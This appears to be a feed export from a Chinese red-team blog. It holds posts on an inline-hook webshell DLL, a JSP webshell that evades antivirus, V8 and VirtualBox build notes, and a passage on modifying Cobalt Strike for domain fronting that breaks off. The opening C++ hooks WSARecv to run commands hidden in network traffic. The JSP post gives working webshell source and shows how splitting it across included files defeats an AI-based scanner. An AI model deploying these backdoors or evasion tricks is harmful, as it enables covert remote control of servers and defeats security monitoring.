GetProcAddress(GetModuleHandleW(<span class="string">L"ws2_32.dll"</span>), <span class="string">"WSARecv"</span>);</span><br><span class="line">PFNWSASend pfnWSASend = (PFNWSASend) GetProcAddress(GetModuleHandleW(<span class="string">L"ws2_32.dll"</span>), <span class="string">"WSASend"</span>);</span><br><span class="line">PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(<span class="string">L"ws2_32.dll"</span>), <span class="string">"closesocket"</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> rc = pfnWSARecv(s, lpBuffer, dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped, lpCompletionRoutine);</span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span>* startBlock = <span class="built_in">strstr</span>(lpBuffer-&gt;buf, START_BLOCK);</span><br><span class="line"><span class="keyword">if</span>(startBlock) &#123;</span><br><span class="line"><span class="keyword">char</span>* endBlock = <span class="built_in">strstr</span>(startBlock, END_BLOCK);</span><br><span class="line"><span class="keyword">if</span>(endBlock) &#123;</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">string</span> start_block = <span class="built_in">std</span>::<span class="built_in">string</span>(startBlock);</span><br><span class="line"><span class="keyword">int</span> endOffset = start_block.find(END_BLOCK, <span class="keyword">sizeof</span>(START_BLOCK));</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">string</span> cmd = start_block.substr(<span class="keyword">sizeof</span>(START_BLOCK) - <span class="number">1</span>, start_block.size() - <span class="keyword">sizeof</span>(START_BLOCK) - ( start_block.size() - endOffset ) + <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">WSABUF outBuf;</span><br><span class="line"><span class="built_in">std</span>::<span class="built_in">string</span> output = WSTR2STR(ExecuteCmd(cmd));</span><br><span class="line">outBuf.buf = (<span class="keyword">char</span>*) output.c_str();</span><br><span class="line">outBuf.len = output.size();</span><br><span class="line"></span><br><span class="line">pfnWSASend(s, &amp;outBuf, <span class="number">1</span>, lpNumberOfBytesRecvd, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">         pfnClosesocket(s);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">InstallHook(<span class="string">L"ws2_32.dll"</span>, <span class="string">"WSARecv"</span>, (LPVOID) HookWSARecv);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span>  rc;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p>这里还 hook 了 <code>WSARecv</code> ，是因为我在 Tomcat 上测试遇到个问题  hook <code>recv</code> 后收到的数据是乱码，长度也对不上。 后来想到 Tomcat 现在默认是 NIO 处理，JVM 的用的 API 可能不一样，翻看了一下源码，发现 Windows 上 NIO 相关的 socket 操作函数实际用的是 <code>WSARecv</code>、<code>WSASend</code> 等带 <code>WSA</code> 前缀的，加了 hook 点之后能正常读到数据了。</p></blockquote><h2 id="DllMain"><a href="#DllMain" class="headerlink" title="DllMain"></a>DllMain</h2><p>DLL 入口，调用安装钩子</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">BOOL WINAPI <span class="title">DllMain</span><span class="params">(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)</span> </span>&#123;</span><br><span class="line"><span class="keyword">switch</span>(fdwReason)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">case</span> DLL_PROCESS_ATTACH:</span><br><span class="line">InstallHook(<span class="string">L"ws2_32.dll"</span>, <span class="string">"recv"</span>, (LPVOID) HookRecv);</span><br><span class="line">InstallHook(<span class="string">L"ws2_32.dll"</span>, <span class="string">"WSARecv"</span>, (LPVOID) HookWSARecv);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> DLL_THREAD_ATTACH:</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> DLL_THREAD_DETACH:</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> DLL_PROCESS_DETACH:</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="效果"><a href="#效果" class="headerlink" title="效果"></a>效果</h1><h2 id="Java"><a href="#Java" class="headerlink" title="Java"></a>Java</h2><p><img src="/2021/07/01/use-inlinehook-technology-to-make-a-more-general-webshell/java.gif" alt="java"></p><h2 id="Python"><a href="#Python" class="headerlink" title="Python"></a>Python</h2><p><img src="/2021/07/01/use-inlinehook-technology-to-make-a-more-general-webshell/python.gif" alt="python"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;blockquote&gt;
&lt;p&gt;本文首发 &lt;a href=&quot;https://xz.aliyun.com/t/9774&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://xz.aliyun.com/t/9774&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote
      
    
    </summary>
    
    
    
      <category term="Java" scheme="https://jayl1n.github.io/tags/Java/"/>
    
      <category term="红蓝对抗" scheme="https://jayl1n.github.io/tags/%E7%BA%A2%E8%93%9D%E5%AF%B9%E6%8A%97/"/>
    
      <category term="RedTeam" scheme="https://jayl1n.github.io/tags/RedTeam/"/>
    
      <category term="开发" scheme="https://jayl1n.github.io/tags/%E5%BC%80%E5%8F%91/"/>
    
      <category term="工具分享" scheme="https://jayl1n.github.io/tags/%E5%B7%A5%E5%85%B7%E5%88%86%E4%BA%AB/"/>
    
  </entry>
  
  <entry>
    <title>在 Win10 上编译 V8 引擎</title>
    <link href="https://jayl1n.github.io/2021/06/23/compile-v8-on-windows10/"/>
    <id>https://jayl1n.github.io/2021/06/23/compile-v8-on-windows10/</id>
    <published>2021-06-23T12:40:40.000Z</published>
    <updated>2023-08-16T15:16:43.178Z</updated>
    
    <content type="html"><![CDATA[<p>记录一下编译 V8 踩坑的过程（以下全程需要科学上网，我是配了 Proxifier）</p><h1 id="过程"><a href="#过程" class="headerlink" title="过程"></a>过程</h1><ol start="0"><li><p>先安装 VisualStudio 2019，略详细过程</p></li><li><p>clone 开发环境</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">cd /d d:\</span><br><span class="line"></span><br><span class="line">git clone https://chromium.googlesource.com/chromium/tools/depot_tools</span><br></pre></td></tr></table></figure></li><li><p>设置环境变量</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">set DEPOT_TOOLS_WIN_TOOLCHAIN=0</span><br><span class="line">set GYP_MSVS_VERSION=2019    # 视VS版本而定</span><br></pre></td></tr></table></figure></li><li><p>clone v8 仓库，完整的大概 700M</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fetch v8</span><br></pre></td></tr></table></figure></li><li><p>同步第三方组件，会花一点时间</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gclient sync</span><br></pre></td></tr></table></figure></li><li><p>生成编译配置</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python tools/dev/v8gen.py ia32.debug</span><br></pre></td></tr></table></figure></li><li><p>编译，大概 10 分钟</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ninja -C .\out.gn\ia32.debug d8 -j12</span><br></pre></td></tr></table></figure></li><li><p>完成</p></li></ol><h1 id="问题"><a href="#问题" class="headerlink" title="问题"></a>问题</h1><h2 id="提示缺少-LASTCHANGE"><a href="#提示缺少-LASTCHANGE" class="headerlink" title="提示缺少 LASTCHANGE"></a>提示缺少 LASTCHANGE</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python .\build\util\lastchange.py .\build\util\LASTCHANGE</span><br></pre></td></tr></table></figure><h2 id="找不到-clang-cl-exe"><a href="#找不到-clang-cl-exe" class="headerlink" title="找不到 clang-cl.exe"></a>找不到 clang-cl.exe</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python .\tools\clang\scripts\update.py</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;记录一下编译 V8 踩坑的过程（以下全程需要科学上网，我是配了 Proxifier）&lt;/p&gt;
&lt;h1 id=&quot;过程&quot;&gt;&lt;a href=&quot;#过程&quot; class=&quot;headerlink&quot; title=&quot;过程&quot;&gt;&lt;/a&gt;过程&lt;/h1&gt;&lt;ol start=&quot;0&quot;&gt;
&lt;li&gt;&lt;p&gt;先
      
    
    </summary>
    
    
    
      <category term="开发" scheme="https://jayl1n.github.io/tags/%E5%BC%80%E5%8F%91/"/>
    
  </entry>
  
  <entry>
    <title>JSP免杀 —— 绕过智能AI？</title>
    <link href="https://jayl1n.github.io/2021/02/05/antiav-jsp-webshell/"/>
    <id>https://jayl1n.github.io/2021/02/05/antiav-jsp-webshell/</id>
    <published>2021-02-05T14:25:31.000Z</published>
    <updated>2023-08-16T15:16:43.176Z</updated>
    
    <content type="html"><![CDATA[<p>玩某云的“卷完计划”想到的姿势，分享一下。</p><p>某云的骑士号称是采用先进的动态监测技术，结合主机智能内核AI检测技术等多种引擎零规则查杀，做到低误报，高查杀率。</p><p>测下来查杀率确实高，只要出现 <code>Runtime.getRuntime().exec(&quot;calc&quot;)</code> 等命令执行直接相关的方法调用就杀，不过一个样本测下来要一分钟，速度相当慢，实际落地还要很长的路要走。/狗头</p><h1 id="绕过"><a href="#绕过" class="headerlink" title="绕过"></a>绕过</h1><p>开始讲绕过。</p><p>首先是命令执行的sink，直接写 <code>Runtime.getRuntime().exec()</code> 即使jsp编译不通过也是会被check到的，说明引擎有一些强检测逻辑，类似正则，匹配即杀。而如果迂回一下，我们找一个跳板，比如 <code>new ProcessBuilder()</code> ，或者反射构造 <code>ProcessImpl</code> 实例，还不会被杀，(用法参考<a href="https://xz.aliyun.com/t/7798" target="_blank" rel="noopener">三梦的文章</a>)。</p><p>构造好跳板，当调用 <code>start()</code> 实际执行的时候，如果命令是硬编码的没有杀，如果是从 request.getParameter(“xxx”) 取的还是会杀的。</p><p>说明引擎应该用到了类似污点分析的原理，更换命令执行的 sink 是可以绕过的，但要完全绕过还要找别的 source，试了一圈 request 对象的方法，只有 request.getSchema() 等内容不可控方法的时候不会杀，内容不可控有啥用:(</p><p>研究了下，我想到了这个引擎的问题（应该也通杀别的），就是在检测时，无法构造出完整的上下文环境。它是单文件一个个扫过去的，如果我们拆分 soure-sink 到多个文件呢，扫任意一个jsp都没问题。甚至很可能因为通不过编译，压根儿动态监测不起来。</p><h1 id="include"><a href="#include" class="headerlink" title="include"></a>include</h1><p>下面用到 jsp 的一个特性 include 指令。</p><blockquote><p>include 指令用于通知 JSP 引擎在翻译当前 JSP 页面时，将其他文件中的内容合并进当前 JSP 页面转换成的 Servlet 源文件中，这种在源文件级别进行引入的方式，称为静态引入，当前 JSP 页面与静态引入的文件紧密结合为一个 Servlet。这些文件可以是 JSP 页面、HTML 页面、文本文件或是一段 Java 代码。</p></blockquote><p>我们完全可以把完整的逻辑拆分，即把参数获取和命令执行的分开。</p><p>举个例子</p><p>AB.jsp</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">&lt;%@ page import=&quot;javax.el.ELProcessor&quot; %&gt;</span><br><span class="line">&lt;%@ page import=&quot;java.io.InputStream&quot; %&gt;</span><br><span class="line">&lt;%@ page import=&quot;java.io.BufferedReader&quot; %&gt;</span><br><span class="line">&lt;%@ page import=&quot;java.io.InputStreamReader&quot; %&gt;</span><br><span class="line">&lt;%@ page contentType=&quot;text/html;charset=UTF-8&quot; language=&quot;java&quot; %&gt;</span><br><span class="line">&lt;html&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">&lt;%</span><br><span class="line">    String cmd = request.getParameter(&quot;cmd&quot;);</span><br><span class="line">    ELProcessor processor = new ELProcessor();</span><br><span class="line">    Process process = (Process) processor.eval(</span><br><span class="line">            &quot;\&quot;\&quot;.getClass()&quot; +</span><br><span class="line">                    &quot;.forName(\&quot;javax.script.ScriptEngineManager\&quot;).&quot; +</span><br><span class="line">                    &quot;newInstance().getEngineByName(\&quot;JavaScript\&quot;).eval(\&quot;new java.lang.ProcessBuilder[&apos;(java.lang.String[])&apos;]([&apos;&quot; +</span><br><span class="line">                    cmd + &quot;&apos;]).start()\&quot;)&quot;);</span><br><span class="line">    InputStream inputStream = process.getInputStream();</span><br><span class="line">    StringBuilder sb = new StringBuilder();</span><br><span class="line">    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));</span><br><span class="line">    String line;</span><br><span class="line">    while ((line = bufferedReader.readLine()) != null) &#123;</span><br><span class="line">        sb.append(line).append(&quot;\n&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">    response.getOutputStream().write(sb.toString().getBytes());</span><br><span class="line">%&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><p>source request.getParameter，通过 sink ELProcessor.eval 执行命令，会被杀。</p><p>拆分逻辑到 A.jsp B.jsp</p><p>A.jsp</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;%</span><br><span class="line">    String cmd = request.getParameter(&quot;cmd&quot;);</span><br><span class="line">%&gt;</span><br></pre></td></tr></table></figure><p>B.jsp ELProcessor.eval 执行命令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">&lt;%@ page contentType=&quot;text/html;charset=UTF-8&quot; language=&quot;java&quot; %&gt;</span><br><span class="line">&lt;%@ page import=&quot;javax.el.ELProcessor&quot; %&gt;</span><br><span class="line">&lt;%@ page import=&quot;java.io.InputStream&quot; %&gt;</span><br><span class="line">&lt;%@ page import=&quot;java.io.BufferedReader&quot; %&gt;</span><br><span class="line">&lt;%@ page import=&quot;java.io.InputStreamReader&quot; %&gt;</span><br><span class="line">&lt;%@include file=&quot;A.jsp&quot; %&gt;</span><br><span class="line">&lt;html&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">&lt;%</span><br><span class="line">    ELProcessor processor = new ELProcessor();</span><br><span class="line">    Process process = (Process) processor.eval(</span><br><span class="line">            &quot;\&quot;\&quot;.getClass()&quot; +</span><br><span class="line">                    &quot;.forName(\&quot;javax.script.ScriptEngineManager\&quot;).&quot; +</span><br><span class="line">                    &quot;newInstance().getEngineByName(\&quot;JavaScript\&quot;).eval(\&quot;new java.lang.ProcessBuilder[&apos;(java.lang.String[])&apos;]([&apos;&quot; +</span><br><span class="line">                    cmd + &quot;&apos;]).start()\&quot;)&quot;);</span><br><span class="line">    InputStream inputStream = process.getInputStream();</span><br><span class="line">    StringBuilder sb = new StringBuilder();</span><br><span class="line">    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));</span><br><span class="line">    String line;</span><br><span class="line">    while ((line = bufferedReader.readLine()) != null) &#123;</span><br><span class="line">        sb.append(line).append(&quot;\n&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">    response.getOutputStream().write(sb.toString().getBytes());</span><br><span class="line">%&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><p>A.jsp 只负责取参，看起来没有问题。</p><p>B.jsp sink没有被硬杀，而且缺少 A.jsp 的情况编译不过，跑不起来动态监测不了。</p><p>完全绕过。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;玩某云的“卷完计划”想到的姿势，分享一下。&lt;/p&gt;
&lt;p&gt;某云的骑士号称是采用先进的动态监测技术，结合主机智能内核AI检测技术等多种引擎零规则查杀，做到低误报，高查杀率。&lt;/p&gt;
&lt;p&gt;测下来查杀率确实高，只要出现 &lt;code&gt;Runtime.getRuntime().ex
      
    
    </summary>
    
    
    
      <category term="Java" scheme="https://jayl1n.github.io/tags/Java/"/>
    
      <category term="JSP" scheme="https://jayl1n.github.io/tags/JSP/"/>
    
      <category term="红蓝对抗" scheme="https://jayl1n.github.io/tags/%E7%BA%A2%E8%93%9D%E5%AF%B9%E6%8A%97/"/>
    
      <category term="RedTeam" scheme="https://jayl1n.github.io/tags/RedTeam/"/>
    
  </entry>
  
  <entry>
    <title>MacOS 下编译 VirtualBox</title>
    <link href="https://jayl1n.github.io/2021/01/03/compile-virtualbox-on-macos10-15/"/>
    <id>https://jayl1n.github.io/2021/01/03/compile-virtualbox-on-macos10-15/</id>
    <published>2021-01-03T08:23:34.000Z</published>
    <updated>2023-08-16T15:16:43.179Z</updated>
    
    <content type="html"><![CDATA[<p>在编译 VBox 的时候遇到了许多坑，记录一下。</p><p>环境是 MacOS 10.15 Catalina，VBox 6.1.16 。</p><h1 id="安装SDK"><a href="#安装SDK" class="headerlink" title="安装SDK"></a>安装SDK</h1><p>Xcode10之后编译系统改了，我们需要用老版本的Xcode编译，所以要用 <a href="https://github.com/devernay/xcodelegacy" target="_blank" rel="noopener">XcodeLegacy</a> 。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git clone --depth=1 https://hub.fastgit.org/devernay/xcodelegacy.git</span><br><span class="line">cd xcodelegacy</span><br></pre></td></tr></table></figure><p>再下载 <a href="https://download.developer.apple.com/Developer_Tools/Xcode_6.4/Xcode_6.4.dmg" target="_blank" rel="noopener">Xcode6.4</a> ，放到 xcodelegacy 目录下。</p><p>安装一下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">./XcodeLegacy.sh -osx109 buildpackages</span><br><span class="line">sudo ./XcodeLegacy.sh -osx109 install</span><br></pre></td></tr></table></figure><h1 id="安装依赖"><a href="#安装依赖" class="headerlink" title="安装依赖"></a>安装依赖</h1><ul><li>安装 homebrew，<code>brew install libidl openssl pkg-config qt</code></li><li>JDK版本&gt;=6 ，我用的 JDK8</li><li>openssl</li></ul><h2 id="编译-openssl"><a href="#编译-openssl" class="headerlink" title="编译 openssl"></a>编译 openssl</h2><p>link 的时候可能会因为目标版本不一致出现问题，需要用 10.9 编译的 openssl</p><p>下载 <a href="https://www.openssl.org/source/openssl-1.1.1i.tar.gz" target="_blank" rel="noopener">openssl</a> ，解压后编译</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">./config CFLAGS=&quot;-g -O2 -mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk&quot; CXXFLAGS=&quot;-g -O2 -mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk&quot; LDFLAGS=&quot;-mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk&quot; --prefix=/usr/local/opt/openssl@1.1.1i</span><br><span class="line">make -j8</span><br><span class="line">make install</span><br></pre></td></tr></table></figure><h1 id="编译"><a href="#编译" class="headerlink" title="编译"></a>编译</h1><p>下面开始编译，中途可能还会有些编译错误，需要自己解决一下。末尾有我遇到的问题及解决。</p><p>先修改 configure 的 check_darwinversion()</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">check_darwinversion()</span><br><span class="line">&#123;</span><br><span class="line">  test_header &quot;Darwin version&quot;</span><br><span class="line">  darwin_ver=`uname -r`</span><br><span class="line">  case &quot;$darwin_ver&quot; in</span><br><span class="line">+    19\.*)</span><br><span class="line">+      check_xcode_sdk_path &quot;$WITH_XCODE_DIR&quot;</span><br><span class="line">+      [ $? -eq 1 ] || fail</span><br><span class="line">+      darwin_ver=&quot;10.15&quot; # Catalina</span><br><span class="line">+   sdk=$WITH_XCODE_DIR/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.9.sdk</span><br><span class="line">+      cnf_append &quot;VBOX_WITH_MACOSX_COMPILERS_FROM_DEVEL&quot; &quot;1&quot;</span><br><span class="line">+      cnf_append &quot;VBOX_PATH_MACOSX_DEVEL_ROOT&quot; &quot;$WITH_XCODE_DIR/Developer&quot;</span><br><span class="line">+      CXX_FLAGS=&apos;--std=c++11&apos;</span><br><span class="line">+      ;;</span><br><span class="line">    17\.*)</span><br><span class="line">      check_xcode_sdk_path &quot;$WITH_XCODE_DIR&quot;</span><br><span class="line">      [ $? -eq 1 ] || fail</span><br><span class="line">      darwin_ver=&quot;10.13&quot; # High Sierra</span><br><span class="line">      sdk=$WITH_XCODE_DIR/Developer/SDKs/MacOSX10.6.sdk</span><br><span class="line">      cnf_append &quot;VBOX_WITH_MACOSX_COMPILERS_FROM_DEVEL&quot; &quot;1&quot;</span><br><span class="line">      cnf_append &quot;VBOX_PATH_MACOSX_DEVEL_ROOT&quot; &quot;$WITH_XCODE_DIR/Developer&quot;</span><br><span class="line">      ;;</span><br></pre></td></tr></table></figure><p>配置</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">./configure --disable-hardening --with-xcode-dir=/Developer/SDKs/MacOSX10.9.sdk \</span><br><span class="line">--with-openssl-dir=/usr/local/opt/openssl@1.1.1i --with-qt-dir=/usr/local/Cellar/qt/5.15.2</span><br></pre></td></tr></table></figure><p>修改 tools/kBuildTools/VBoxXcode62.kmk ，开启 c++11 支持</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">-TOOL_VBoxXcode62_CXXFLAGS         ?=</span><br><span class="line">+TOOL_VBoxXcode62_CXXFLAGS         ?= --std=c++11</span><br><span class="line"></span><br><span class="line">-TOOL_VBoxXcode62_OBJCXXFLAGS          ?=</span><br><span class="line">+TOOL_VBoxXcode62_OBJCXXFLAGS          ?= --std=c++11</span><br></pre></td></tr></table></figure><p>一处程序错误 src/VBox/Devices/USB/darwin/USBProxyDevice-darwin.cpp</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">-    AssertReturn(RefMatchingDict != IO_OBJECT_NULL, VERR_OPEN_FAILED);</span><br><span class="line">+    AssertReturn(RefMatchingDict, VERR_OPEN_FAILED);</span><br></pre></td></tr></table></figure><p>开始编译</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">source env.sh</span><br><span class="line">kmk</span><br></pre></td></tr></table></figure><h1 id="FAQ"><a href="#FAQ" class="headerlink" title="FAQ"></a>FAQ</h1><ul><li><p>报错 <code>yasm: Bad CPU type in executable</code></p><p>因为不支持 32 位应用，需要用 x64 的 yasm 替换，</p><p><code>brew install yasm &amp;&amp; cp /usr/local/Cellar/yasm/1.3.0_2/bin/yasm tools/darwin.amd64/bin/</code></p></li><li><p>报错 <code>kBuild: iasl VBoxDD ....</code></p><p>问题同上，找 x64 的 iasl 替换，<a href="https://bitbucket.org/RehabMan/acpica/downloads/iasl.zip" target="_blank" rel="noopener">https://bitbucket.org/RehabMan/acpica/downloads/iasl.zip</a> ,</p><p><code>cp iasl tools/darwin.amd64/bin/iasl</code></p></li><li><p>找不到 libqcocoa.dylib</p><p>修改 AutoConfig.kmk</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">- PATH_SDK_QT5_INC               := /usr/local/Cellar/qt/5.15.2/Frameworks</span><br><span class="line">- PATH_SDK_QT5_LIB               := /usr/local/Cellar/qt/5.15.2/Frameworks</span><br><span class="line">- PATH_SDK_QT5                   := /usr/local/Cellar/qt/5.15.2/Frameworks</span><br><span class="line"></span><br><span class="line">+ PATH_SDK_QT5_INC               := /usr/local/Cellar/qt/5.15.2/include</span><br><span class="line">+ PATH_SDK_QT5_LIB               := /usr/local/Cellar/qt/5.15.2/lib</span><br><span class="line">+ PATH_SDK_QT5                   := /usr/local/Cellar/qt/5.15.2/</span><br></pre></td></tr></table></figure><p>或者创建软链接</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mkdir /usr/local/Cellar/qt/5.15.2/Frameworks/plugins</span><br><span class="line">ln -s /usr/local/Cellar/qt/5.15.2/plugins/platforms /usr/local/Cellar/qt/5.15.2/Frameworks/plugins/platforms</span><br></pre></td></tr></table></figure></li></ul>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;在编译 VBox 的时候遇到了许多坑，记录一下。&lt;/p&gt;
&lt;p&gt;环境是 MacOS 10.15 Catalina，VBox 6.1.16 。&lt;/p&gt;
&lt;h1 id=&quot;安装SDK&quot;&gt;&lt;a href=&quot;#安装SDK&quot; class=&quot;headerlink&quot; title=&quot;安装SD
      
    
    </summary>
    
    
    
      <category term="开发" scheme="https://jayl1n.github.io/tags/%E5%BC%80%E5%8F%91/"/>
    
  </entry>
  
  <entry>
    <title>魔改 CobaltStrike 3.14 实现域前置自定义端口</title>
    <link href="https://jayl1n.github.io/2020/04/10/pentest-cobaltstrike-improve/"/>
    <id>https://jayl1n.github.io/2020/04/10/pentest-cobaltstrike-improve/</id>
    <published>2020-04-10T07:08:53.000Z</published>
    <updated>2023-08-16T15:16:43.237Z</updated>
    
    <content type="html"><![CDATA[<p>国内VPS的 80,443 端口默认都是需要备案才能使用，所以如果 TeamServer 搭在国内，Listener 只能选择其他端口，一般使用是没什么问题，但如果要配置域前置，会遇到上线不了的问题。</p><h1 id="问题分析"><a href="#问题分析" class="headerlink" title="问题分析"></a>问题分析</h1><p>我配置了一个 8880 端口的 listener，并配置了 CloudFront （回源端口 8880），生成了指向 80 端口的后门。但运行后并没有上线，Wireshark 抓包分析一下。</p><blockquote><p>为了生成指向 80 端口的后门，我额外配置了一个 80 端口的 listener。</p></blockquote><p>可以看到，第一步确实向 cdn 请求了，也成功从 teamserver 获得了后续的 shellcode 并加载成功了(不然不会有第二步的请求)，但是第二步开始向 8880 端口拉取任务了，这里就出问题了，因为 cdn 域名的 8880 并不能到达 teamserver 的 8880。</p><p>所以我们要修改第二步的请求，强制让它继续和 80 端口通信。</p><p><img src="/2020/04/10/pentest-cobaltstrike-improve/anal1.jpg" alt="p1"></p><p>那么，为什么第一步的访问的端口是对的，第二个是错的呢。</p><p>我们知道一般用的CS后门是 staging 模式的，执行过程可以分为两个部分 stage 和 stager 。第一步执行的是 stager ，负责通过各种路径（http&amp;https&amp;tcp）下载 stage，然后注入到内存中执行。第二步的 stage 是真正实现后门功能的部分。</p><p>因为生成 beacon 时，用的 listener 是监听 80 端口的，所以 beacon 第一次请求的确是向 80 端口发起的。</p><p>但实际上 cdn 的 80 端口指向的是 8880 端口的 listener，8880 接到请求，会返回 stage，stage 时在 teamserver 生成的，它并不知道我们是在通过 80 端口访问它，此时的 stage 是指向 8880 的。这造成了后续的请求都会指向 8880。</p><p>要解决问题，必须修改 teamserver 生成的 stage 